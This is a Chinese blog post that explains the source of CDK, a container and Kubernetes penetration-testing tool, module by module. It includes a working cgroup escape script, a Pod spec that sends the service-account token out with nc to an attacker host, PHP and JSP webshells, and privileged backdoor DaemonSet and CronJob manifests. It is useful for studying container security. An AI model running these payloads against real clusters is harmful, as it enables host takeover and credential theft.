前言

为CDK推销一波.

CDK是一款为容器环境定制的渗透测试工具,在已攻陷的容器内部提供零依赖的常用命令及PoC/EXP。集成Docker/K8s场景特有的 逃逸、横向移动、持久化利用方式,插件化管理。

通过阅读CDK的源码,我们可以更加方便的了解容器漏洞原理,以及应用手法!!!

CDK下载地址: https://github.com/cdk-team/CDK/wiki/CDK-Home-CN

信息收集

  • System Info(收集系统基础信息)

    • current dir,current user,uid, gid, home,hostname, kernel version
  • Services(收集可用的服务)

    • ssh|ftp|http|tomcat|nginx|engine|php|java|python|perl|ruby|kube|docker|
  • Commands and Capabilities(收集可用的命令以及linux进程中的 capabilities)

    • curl,wget,nc,netcat,kubectl,docker,find等
    • CapInh|CapPrm|CapEff|CapBnd|CapAmb(通过对capeff定位,发现Capabilities中脆弱的点包括:CAP_DAC_READ_SEARCH【忽略文件读及目录搜索的 DAC 访问限制】,CAP_SYS_MODULE【允许插入和删除内核模块】,CAP_SYS_ADMIN【允许执行系统管理任务,如加载或卸载文件系统、设置磁盘配额等】)

其实这里对linux 脆弱点分析还可以包括但不限于CAP_SYS_RAWIO[允许直接访问 /devport、/dev/mem、/dev/kmem 及原始块设备], CAP_KILL[允许对不属于自己的进程发送信号]等。

对linux capabilities了解,可通过如下文章Linux Capabilities 简介

  • Mounts(查看挂载信息)

    • 查看/kubelet/|/dev/[\w-]*?\blog$|/etc/host[\w]*?$|/etc/[\w]*?\.conf的挂载信息
    • 若在挂载信息中出现lxcfs, 则验证其是否可以读写(rw), 若可以则可以验证其是否可以进行容器逃逸

关于/proc/self/mounts的介绍可查看/proc/mounts介绍

关于lxcfs的介绍可以查看LXCFS简介

  • Net Namespace(看出网络命名空间)

    • 通过检查/proc/net/unix是否含有/systemd//run/user/对网络命名空间进行判断:容器启动的方式(--net=host【共享主机网络空间,可以像普通进程一样进行通信】)或者容器网络命名空间隔离

共享主机网络空间可以使攻击者在容器中访问到主机上面的网络信息(网站等)。

  • Sysctl Variables(查看本地路由网络信息)

    • 通过查看/proc/sys/net/ipv4/conf/all/route_localnet文件对net.ipv4.conf.all.route_localnet信息查看,如果其值为1则提示:您可能可以访问当前容器节点或其他节点的 localhost 服务
  • K8s API Server(检查K8s匿名登录)

    • 使用账号(system:anonymous)或设置Anonymous: true,检查K8s API Server 是否支持匿名登录, 若存在则会将namespaces列举出来
  • K8s Service Account(检查特权 K8s 服务帐户)

    • 请求/apis(该处会通过kubectl请求/var/run/secrets/kubernetes.io/serviceaccount/token得到认证信息),判断是否存在APIGroupList 若存在则服务帐户可用,并通过接口/api/v1/namespaces列举namespeace,判断namespeace中,是否有kube-system,若存在,则存在高权限的服务账户。
  • Cloud Provider Metadata API(检查云元数据API)

    • 探测云厂商内置的metadata接口,从该接口可以获取到服务器VM的基础信息如OS版本、CPU及网络、DNS配置等
    • 只能从实例自身内部访问实例元数据,但数据并未被加密保护。可访问实例的人员均可查看其元数据。
    • 对于不存在的资源,会返回 HTTP 错误代码404 - Not Found。
    • 对实例元数据的操作均只能从实例内部进行
  • Sensitive Files(检查本地敏感文件)

    • 敏感文件包括 /docker.sock,

      `/containerd.sock`, 
      `/containerd/s/`, 
      `.kube/`,
      `.git/`,
      `.svn/`,
      `.pip/`,
      `/.bash_history`,
      `/.bash_profile`,
      `/.bashrc`,
      `/.ssh/`,
      `.token`,
      `/serviceaccount`,
      `.dockerenv`,
      `/config.json`, 
  • ASLR(检查地址空间布局随机化技术是否开启)

    • 检索/proc/sys/kernel/randomize_va_space文件,判断其是否开启ASLR

关于ASLR的解释可参考: ASLR 在 Linux 系统效果如何?

  • Cgroups(dumpcgroups)

    • 通过检索/proc/1/cgroup输出系统可以使用的资源情况。

cgroup的主要运用是资源跟踪。使用cgroup控制虚拟机进程或者docker进程可以使用的资源

关于Cgroups可以参考:cgroup从入门到懵圈——cgroup概念

攻击模块

docker.sock逃逸PoC(docker-in-docker)

检查docker unix socket是否可用,在container-in-container的部署模式中,常将宿主机的docker.sock挂载到容器内部(通常路径是/var/run/docker.sock),当您在容器中发现docker.sock时,意味着您可以控制宿主机的docker进程,并可以在宿主机部署后门镜像完成逃逸。

直接访问本地http://127.0.0.1/info页面,检测页面中是否存在Containers关键字, 若存在Containers关键字,则存在该漏洞

containerd-shim CVE-2020-15257

自动化逃逸CVE-2020-15257,反弹宿主机的shell到远端服务器。

docker.sock命令执行(docker-sock-pwn)

通过本地docker.sock向宿主机部署后门容器,以完成控制宿主机的目标。

本脚本将控制宿主机的docker进程,拉取指定的后门镜像并运行,运行过程中镜像将宿主机的根目录/挂载到容器内部的/host目录下,便于通过后门容器修改宿主机本地文件(如crontab)来完成逃逸。

首先通过info页面检测docker.sock 是否可用, 后拉取后门容器镜像alpine:latest, 后通过docker.sock执行宿主机命令(通过请求http://127.0.0.1/containers/create页面,通过正则将之前创建的容器container ID提取出来, 通过http://127.0.0.1/containers/"+containerID+"/start启用容器,最终执行宿主机cmd payload)

Docker API(2375)命令执行(docker-api-pwn)

攻击Docker API 2375未授权访问漏洞,控制宿主机的dockerd创建一个新容器,并挂在宿主机根目录/到容器内部/host,然后执行用户输入的指令来篡改宿主机的文件,比如可以写/etc/crontab来搞定宿主机。

首先通过检测是否可以正常访问/info界面,判断api是否可用. 通过访问api+/images/create?fromImage=alpine&tag=latest拉取alpine镜像, 创建一个容器,该容器将宿主机根目录/到容器内部/host, 并可以直接执行cmd命令. 通过正则匹配[A-Fa-f0-9]{64}获取容器id值, 后执行容器即可.

挂载逃逸(特权容器)(mount-disk)

自动化逃逸有设备操作权限的容器。常用于逃逸特权容器。
该脚本将自动化识别当前容器内的挂载情况,并将宿主机的物理磁盘挂载到容器中,从而使容器中可以编辑宿主机文件(如修改宿主机的/etc/crontab)完成逃逸。

通过调用github.com/shirou/gopsutil/v3/disk 输出所有的设备信息,创建一个挂载目录/tmp/cdk_,将宿主机的设备挂载到容器中的挂载目录下。

Cgroup逃逸(特权容器)(mount-cgroup)

自动化逃逸与宿主机共享cgroup的容器。常用于逃逸特权容器。

该脚本将宿主机cgroup目录挂载到容器内,随后劫持宿主机cgroup的release_agent文件,通过linux cgroup notify_on_release机制触发shellcode执行,完成逃逸。

脚本具体如下:

#!/bin/sh
mkdir -p /tmp/cgrp; mount -t cgroup -o memory cgroup /tmp/cgrp && mkdir -p /tmp/cgrp/cdk_aaa
echo 1 > /tmp/cgrp/cdk_aaa/notify_on_release
host_path=${backquote}sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab${backquote}
echo "`/cmd_jjo" > /tmp/cgrp/release_agent
echo '#!/bin/sh' > /cmd_jjo
echo "touch /tmp/exp-success > $host_path/output_asd" >> /cmd_jjo
chmod a+x /cmd_jjo
sh -c "echo \$\$ > /tmp/cgrp/cdk_aaa/cgroup.procs"
sleep 3
cat /output_asd

Procfs目录挂载逃逸(mount-procfs)

自动化逃逸挂载宿主机/proc目录的容器。

该脚本将用户指定的shell命令指向宿主机/sys/kernel/core_pattern文件,在容器空间通过segment fault触发core dump,进而触发shellcode执行。

首先检查环境变量GOTRACEBACK是否设置,若没有设置,则设置GOTRACEBACK=crash,
后在/proc/self/mounts寻找workdir,后将shell命令指向宿主机/sys/kernel/core_pattern文件,在容器空间通过segment fault触发core dump,进而触发shellcode执行。

Ptrace逃逸PoC(check-ptrace)

检查容器内部是否存在cap=SYS_PTRACE权限,存在该权限并且挂载宿主机的PID空间时,可以在容器环境内注入宿主机进程进行逃逸。 该脚本将检查内部是否存在cap=SYS_PTRACE权限,同时打印容器内部进程列表。

通过检查/proc/self/status文件中是否存在capeff,进而判断是否容器存在cap=SYS_PTRACE权限。

lxcfs cgroup错误配置逃逸(lxcfs-rw)

当 POD 配置 mountPropagation: HostToContainer 并使用 lxcfs 修改 cgroup 设置就可能导致容器逃逸。

重写Cgroup以访问设备(rewrite-cgroup-devices)

重写当前容器内的 /sys/fs/cgroup/devices/devices.allow,逃逸特权容器访问宿主机内的文件。

K8s组件探测(service-probe)

扫描指定网段的端口识别敏感服务如kubelet, K8s dashboard, docker API以及其他服务,便于发现后续攻击点。

通过tcp扫描,发现敏感服务。

检查和获取Istio元信息(istio-check)

扫描AK及API认证凭据(ak-leakage)

扫描用户指定的目录,在其文件中寻找可用的AK/证书/配置文件等敏感信息,常用于攻破容器之后发现其中存在一些代码文件(如python/php)等,可以使用该脚本自动提取代码文件中泄露的AK。

窃取K8s Secrets(k8s-secret-dump)

拉取全部K8s Secrets,K8s Secrets用于存储敏感数据,从Secrets中获取的AK及通信凭证可用户后续渗透中从外部或云产品API窃取信息

使用匿名访问dump/api/v1/secrets文件内容, 后判断selfLink是是否在返回体中,若不存在则尝试将K8s 秘密与本地服务帐户一起转储。

窃取K8s Config(k8s-configmap-dump)

拉取全部K8s Configmap信息保存到本地文件。

使用匿名访问,dump/api/v1/configmaps文件内容, 拉取文件内容。

获取K8s Pod Security Policies(k8s-psp-dump)

对于已经获取了kubeconfig或sa账号权限,进而想要创建特殊配置的容器,但是受到了K8s Pod Security Policies的限制时;可以使用这个Exploit获取Pod Security Policies的规则信息。

首先通过环境配置,查询api-server api地址。 使用匿名访问请求/apis/policy/v1beta1/podsecuritypolicies,使用正则判断是否存在spec\.([^:]+): Invalid value: ([^:]+): 若存在则输出K8S Pod Security Policies rule

K8s RBAC绕过(k8s-get-sa-token)

绕过K8s RBAC:如果当前的Pod有创建Pod权限,即可利用本EXP进行提权到Cluster Admin。本EXP将创建一个Pod并挂在目标service-account的token,之后在Pod中读取该token并发送到攻击者的公网服务器。

首先通过环境配置,查询api-server api地址。后尝试创建一个pod用于dump服务账户的token到远程服务器。后访问/api/v1/namespaces/kube-system/pods输出信息。

创建的pod代码如下:

{
    "apiVersion": "v1",
    "kind": "Pod",
    "metadata": {
        "name": "cdk-rbac-bypass-create-pod",
        "namespace": "kube-system"
    },
    "spec": {
        "automountServiceAccountToken": true,
        "containers": [{
            "args": ["-c", "apt update && apt install -y netcat; cat /run/secrets/kubernetes.io/serviceaccount/token | nc ${RHOST} ${RPORT}; sleep 300"],
            "command": ["/bin/sh"],
            "image": "ubuntu",
            "name": "ubuntu"
        }],
        "hostNetwork": true,
        "serviceAccountName": "${TARGET_SERVICE_ACCOUNT}"
    }
}

部署WebShell(webshell-deploy)

生成接受随机POST参数的PHP或JSP webshell写入指定文件。

按照站点的语言,生成对应的一句话木马:
php: <?php @eval($_POST['$SECRET_PARAM']);?>
jsp: <%Runtime.getRuntime().exec(request.getParameter("$SECRET_PARAM"));%>

部署后门Pod(k8s-backdoor-daemonset)

通过daemonset将用户指定的后门镜像部署到每个node。

首先查询api-server 地址, 后尝试部署指定的镜像,若部署成功,则通过访问/apis/${API_VERSION}/namespaces/kube-system/daemonsets请求返回的信息进行相关判断.

后门镜像如下:

{
    "apiVersion": "${API_VERSION}",
    "kind": "DaemonSet",
    "metadata": {
        "annotations": {},
        "labels": {
            "k8s-app": "${K8S_APP}"
        },
        "name": "cdk-backdoor-daemonset"
    },
    "spec": {
        "selector": {
            "matchLabels": {
                "k8s-app": "${K8S_APP}"
            }
        },
        "template": {
            "metadata": {
                "labels": {
                    "k8s-app": "${K8S_APP}"
                }
            },
            "spec": {
                "containers": [{
                    "args": ["/bin/sh", "-c", "${SHELL_CMD}"],
                    "image": "${IMAGE}",
                    "imagePullPolicy": "IfNotPresent",
                    "name": "cdk-backdoor-pod",
                    "securityContext": {
                        "capabilities": {
                            "add": ["NET_ADMIN", "SYS_ADMIN", "SYS_PTRACE", "AUDIT_CONTROL", "MKNOD", "SETFCAP"]
                        },
                        "privileged": true
                    },
                    "volumeMounts": [{
                        "mountPath": "/host-root",
                        "name": "host-volume"
                    }]
                }],
                "hostNetwork": true,
                "hostPID": true,
                "restartPolicy": "Always",
                "volumes": [{
                    "hostPath": {
                        "path": "/"
                    },
                    "name": "host-volume"
                }]
            }
        }
    }
}

部署影子K8s api-server(k8s-shadow-apiserver)

部署一个shadow apiserver,该apiserver具有和集群中现存的apiserver一致的功能,同时开启了全部K8s管理权限,接受匿名请求且不保存审计日志。便于攻击者无痕迹的管理整个集群以及下发后续渗透行动。

首先获取apiserver地址,后尝试发现kube-system上部署的api-server pod(通过请求/api/v1/namespaces/kube-system/pods提取所有kube-apiserver的名字.后将该pod配置信息dump下来,然后生成shadow api-server conf,后部署shadow api-server

K8s MITM攻击(CVE-2020-8554)(k8s-mitm-clusterip)

K8s中间人攻击(CVE-2020-8554)

部署K8s CronJob(k8s-cronjob)

部署K8s CronJob定时创建用户指定的image并运行cmd。

首先获取apiserver地址,然后设置cronjob pod,等待设置的时间,则可执行命令

cronjob pod代码如下:

{
    "apiVersion": "batch/v1beta1",
    "kind": "CronJob",
    "metadata": {
        "name": "cdk-backdoor-cronjob"
    },
    "spec": {
        "jobTemplate": {
            "spec": {
                "template": {
                    "spec": {
                        "containers": [{
                            "args": ["/bin/sh", "-c", "$SHELL_CMD"],
                            "image": "$IMAGE",
                            "imagePullPolicy": "IfNotPresent",
                            "name": "cdk-backdoor-cronjob-container"
                        }],
                        "restartPolicy": "OnFailure"
                    }
                }
            }
        },
        "schedule": "$SCHEDULE_EXPR"
    }
}
最后修改:2021 年 06 月 27 日 10 : 19 PM
如果觉得我的文章对你有用,请随意赞赏